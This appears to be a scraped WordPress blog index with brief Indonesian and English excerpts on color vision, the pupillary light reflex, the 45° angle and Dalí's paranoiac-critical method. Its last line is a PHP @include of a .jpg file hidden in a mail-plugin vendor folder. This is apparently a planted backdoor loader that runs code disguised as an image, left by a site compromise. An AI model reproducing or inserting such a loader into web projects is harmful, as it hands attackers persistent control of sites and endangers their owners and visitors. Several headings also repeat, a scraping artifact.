Human Vision and Color Perception

Human Vision and Color Perception

Mata adalah organ yang sangat kompleks, dari hasil evolusi yang sangat panjang. Mata memungkinkan kita untuk melihat dunia dalam warna dan merasakan ribuan warna. Sel fotosensitif “melihat” warna dengan cara yang sangat aneh, hanya dalam warna biru, merah dan hijau! Namun kita melihat ribuan atau jutaan warna. Jadi segala sesuatu sepertinya terjadi di otak. Tapi nyatanya, berapa banyak warna yang kita lihat?

Pupillary Light Reflex

Pupillary Light Reflex

Pupillary Light Reflex (PLR) atau refleks photopupillary adalah refleks yang mengontrol diameter pupil, sebagai respons terhadap intensitas (luminansi) cahaya yang jatuh pada sel ganglion retina di bagian belakang mata, sehingga membantu dalam adaptasi penglihatan ke berbagai tingkat terang / gelap.

Fundamentals of 45°

Fundamentals of 45°

Before dive into 45°, understand first that 45° is an angle unit measurement of mathematic in a circle (1 circle as a whole has a total of 360°, and 45° is the angle of 1/8 circle).

Fundamentals of 45°

Prinsip Dasar 45°

Sebelum terjun lebih dalam ke 45°, pahami dulu kalo 45° itu merupakan angle pada derajat dalam satuan ukur matematika pada 1 lingkaran. (1 lingkaran secara keseluruhan memiliki total 360°, nah 45° merupakan angle pada 1/8 lingkaran).

Paranoiac Critical Method (ID)

Paranoiac Critical Method (ID)

Paranoiac-Critical Method adalah sensibilitas, atau cara memahami realitas yang dikembangkan oleh Salvador Dali. Hal itu didefinisikan oleh Dali sebagai “pengetahuan irasional” yang didasarkan dari “interpretasi hayalan”.

Paranoiac-Critical Method (EN)

Paranoiac-Critical Method (EN)

Paranoiac-Critical Method is a sensibility, orway of perceiving reality that was developed by Salvador Dali. It was defined by Dali as “irrational knowledge” based on a “delirium of interpretation”.

@include "wp-content/plugins/wp-mail-smtp/vendor_prefixed/guzzlehttp/promises/src/include/4601.jpg";